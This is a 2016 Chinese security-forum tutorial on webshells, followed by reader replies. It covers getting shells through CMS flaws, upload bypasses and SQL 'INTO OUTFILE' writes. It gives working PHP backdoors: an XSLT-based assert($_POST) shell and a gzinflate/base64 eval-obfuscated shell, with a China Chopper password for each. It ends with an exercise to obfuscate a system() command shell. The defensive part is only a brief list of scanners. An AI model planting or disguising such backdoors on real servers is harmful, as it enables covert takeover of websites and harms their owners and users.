用户
搜索
  • TA的每日心情
    开心
    2018-10-19 16:14
  • 签到天数: 279 天

    连续签到: 1 天

    [LV.8]以坛为家I

    i春秋作家

    Security Personnel

    Rank: 7Rank: 7Rank: 7

    153

    主题

    1335

    帖子

    2095

    魔法币
    收听
    0
    粉丝
    151
    注册时间
    2015-11-4

    幽默灌水王突出贡献春秋文阁春秋巡逻热心助人奖

    zusheng i春秋作家 Security Personnel 幽默灌水王 突出贡献 春秋文阁 春秋巡逻 热心助人奖 楼主
    发表于 2016-8-4 13:38:55 2838862
    作者:zusheng
    社区:i春秋
    时间:2016年7月29日15:04:21

    前言
    WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有攻必有防,最后带大家学习查杀WebShell。

    目录



    • 第一节 CMS获取WebShell
    • 第二节 非CMS获取WebShell
    • 第三节 基于xslt转换的WebShell
    • 第四节 代码混淆隐藏WebShell
    • 第五节 防御篇-查杀WebShell



    正文



    • 第一节 CMS获取WebShell


    1.1、什么是CMS?
    CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。


    1.2、常见的CMS有哪些?
    • asp平台动易CMS、创力CMS、科汛CMS、新云CMS;
    • php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;
    • ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;

    1.3、CMS获取WebShell方法

    公开漏洞途径:以PHPCMS为例:
    我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。
    10.png

    代码审计途径:
    有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。关于代码审计的教程篇幅太长,这里就不做更多介绍,我会单独写一篇系列文章进行讲解。



    • 第二节 非CMS获取WebShell


    2.1、上传漏洞获取WebShell

    文件上传漏洞主要有以下几种情况:
    • MIME类型绕过漏洞
    • 文件扩展名绕过漏洞
    • 文件内容检测绕过类上传漏洞
    • 空字节截断目录路径检测绕过类上传漏洞  

    解析导致的文件上传漏洞:
    • IIS6.0站上的目录路径检测解析绕过上传漏洞
    • Apache站上的解析缺陷绕过上传漏洞
    • htaccess文件上传解析漏洞  



    还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。


    具体请看i春秋学院视频,还可以做实验,链接如下:
    非法文件上传漏洞技术解析及防御

    2.2、SQL注入获取WebShell

    利用sql注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

    MySQL:

    [SQL] 纯文本查看 复制代码
    select into outfile(dumpfile)  //MySQL写文件命令


    例如:

    [SQL] 纯文本查看 复制代码
    select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";


    410.png
    410.png
    那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。


    2.3、数据库备份获取WebShell

    利用数据库备份获取WebShell,恰好i春秋有相关的实验,我也发过相关的教程,这里就不介绍了,大家去看看吧,第三步就是利用数据库备份拿WebShell。
    2015中国网络安全大赛:越权访问真题

    配套实验地址:(进去后选择越权访问点击START就行了)
    2015中国网络安全大赛


    • 第三节 基于xslt转换的WebShell


    3.1、什么是xslt?

    在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语言的外语缩写,是一种用于以可读格式呈现 XML(标准通用标记语言的子集)数据的语言。
    XSL - 不仅仅是样式表语言
    XSL 包括三部分:
    XSLT - 一种用于转换 XML 文档的语言。
    XPath - 一种用于在 XML 文档中导航的语言。
    XSL-FO - 一种用于格式化 XML 文档的语言。

    那么看到这里相信大家已经了解到xslt是xsl的一部分。


    3.2、在PHP下基于xslt转换来隐藏WebShell

    怎么在php下使用xsl呢?我教大家的都是可以自己学习的方法,既然要使用php,我们肯定要去看php的官方手册,我们去搜索xsl

    1.png
    定位到XSLTProcessor类,可以发现registerPHPFunctions方法,如果你根本不懂这些方法,不要紧,看后面的英文介绍,如果你说你不懂英文,不要紧啊,不有google翻译,拿去翻译一下


    [AppleScript] 纯文本查看 复制代码
    Enables the ability to use PHP functions as XSLT functions



    我们点进去,可以发现里面有事例,很简单,建议大家去看看啊。PHP手册地址见下面的参考资料

    我们先来看看官方事例:


    [XSLT] 纯文本查看 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="1.0" 
         xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
         xmlns:php="http://php.net/xsl">          //这个命名空间URI表示php专用的xsl函数支持
    <xsl:output method="html" encoding="utf-8" indent="yes"/>
     <xsl:template match="allusers">
      <html><body>
        <h2>Users</h2>
        <table>
        <xsl:for-each select="user">
          <tr><td>
            <xsl:value-of
                 select="php:function('ucfirst',string(uid))"/>     //php:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。
          </td></tr>
        </xsl:for-each>
        </table>
      </body></html>
     </xsl:template>
    </xsl:stylesheet>

    那么搞懂了以上这些知识,那就很简单了。

    为了避免xml的转义问题,进行一次assert嵌套,最终WebShell如下:
    [XSLT] 纯文本查看 复制代码
     <?php
    $xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';
    $xsl='<?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">
     <xsl:template match="/ichunqiu">
        <xsl:value-of select="icq:function(\'assert\',string(.))"/>
     </xsl:template>
    </xsl:stylesheet>';
    $xmldoc = DOMDocument::loadXML($xml);
    $xsldoc = DOMDocument::loadXML($xsl);
    $proc = new XSLTProcessor();
    $proc->registerPHPFunctions();
    $proc->importStyleSheet($xsldoc);
    $proc->transformToXML($xmldoc);
    ?> 
    


    可以直接用菜刀连接:(密码:zusheng
    1.png

    1.png

    参考资料:



    • 第四节 代码混淆隐藏WebShell

    代码混淆隐藏WebShell也就是通过编码和压缩恶意代码的方式来隐藏WebShell。

    这里我们使用gzinflate+Base64加密,来隐藏WebShell。

    [PHP] 纯文本查看 复制代码
    <?php
    eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
    ?>


    可以直接用菜刀连接:(密码:zusheng


    • 第五节 防御篇-查杀WebShell

    5.1、WebShell的分类
    1.png

    5.2、安全工具
    D盾:
    1.JPG

    下载地址:免费下载

    360主机卫士:
    提供在线监测,把网站打包成zip上传就行了
    http://zhuji.360.cn/backdoor

    小实验

    学完上述知识,大家是不是想动手来试试了呢,来个小实验。


    我们先新建一个php文件


    文件内容如下:
    [PHP] 纯文本查看 复制代码
    <?php
    if (isset($_GET["cmd"]))
    {
    array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
    }
    ?>


    1.png

    使用gzinflate+Base64加密,来隐藏WebShell。
    使之能正常运行。


    结束语

    作为一名黑客,在你取得成功的问题上没有什么诀窍可寻,只有你越努力工作,你才能越接近成功。


    评分

    参与人数 4魔法币 +566 收起 理由
    0nise + 100 赞一个
    七百斤的猴子 + 200 感谢发布原创作品,i春秋论坛因你更精彩!.
    中国Cold + 66 新记录要出来了
    坏蛋 + 200 感谢发布原创作品,i春秋论坛因你更精彩!.

    查看全部评分

    本帖被以下淘专辑推荐:

    Hacking the earth.My Blog:https://isbase.cc
    坏蛋 管理员 欢迎大家来春秋群找我玩
    来自 8#
    发表于 2016-8-4 17:07:00
    作者
    帖子链接
    评估分数(0-3分)
    原创性
    标题
    排版
    内容要求
    内容深度
    内容趣味性
    点评
    总分
    奖金
    zusheng
    渗透攻防-千变万化的WebShell
    评估分数(0-3分)
    2
    3
    3
    2
    2
    2
    说的是很有道理,只不过宽度够了深度不够。
    14
    110元

    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!
    投稿请加QQ:780876774。

    i春秋—楚:713729706
    i春秋—魏:687133802
    网安交流群:820783253
    使用道具 举报 回复
    厉害了厉害了
    使用道具 举报 回复
    发表于 2016-8-4 13:41:13
    小伙子有前途啊
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    坏蛋 管理员 欢迎大家来春秋群找我玩
    板凳
    发表于 2016-8-4 13:43:13
    光速板凳
    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!
    投稿请加QQ:780876774。

    i春秋—楚:713729706
    i春秋—魏:687133802
    网安交流群:820783253
    使用道具 举报 回复
    发表于 2016-8-4 13:49:16
    躺个地板!
    使用道具 举报 回复
    发表于 2016-8-4 14:08:08
    前排
    我是坏蛋的小号
    使用道具 举报 回复
    发表于 2016-8-4 15:51:40
    挤挤
    使用道具 举报 回复
    发表于 2016-8-4 16:30:04
    学习了 感谢
    使用道具 举报 回复
    发表于 2016-8-4 18:17:08
    直接发RMB了么
    使用道具 举报 回复
    发表于 2016-8-4 22:59:22
    听说看帖回帖是好习惯
    使用道具 举报 回复
    使劲学习了
    使用道具 举报 回复
    发表于 2016-8-5 09:08:24
    感谢发布原创作品,i春秋论坛因你更精彩!
    路虽远,行则必达。事虽难,做则必成。
    使用道具 举报 回复
    发表于 2016-8-5 09:37:02
    很好的文章,支持
    使用道具 举报 回复
    发表于 2016-8-5 14:34:22
            感谢发布原创作品,i春秋论坛因你更精彩!.
    使用道具 举报 回复
    发表于 2016-8-6 17:16:32
    可以提供下你的菜刀吗?
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册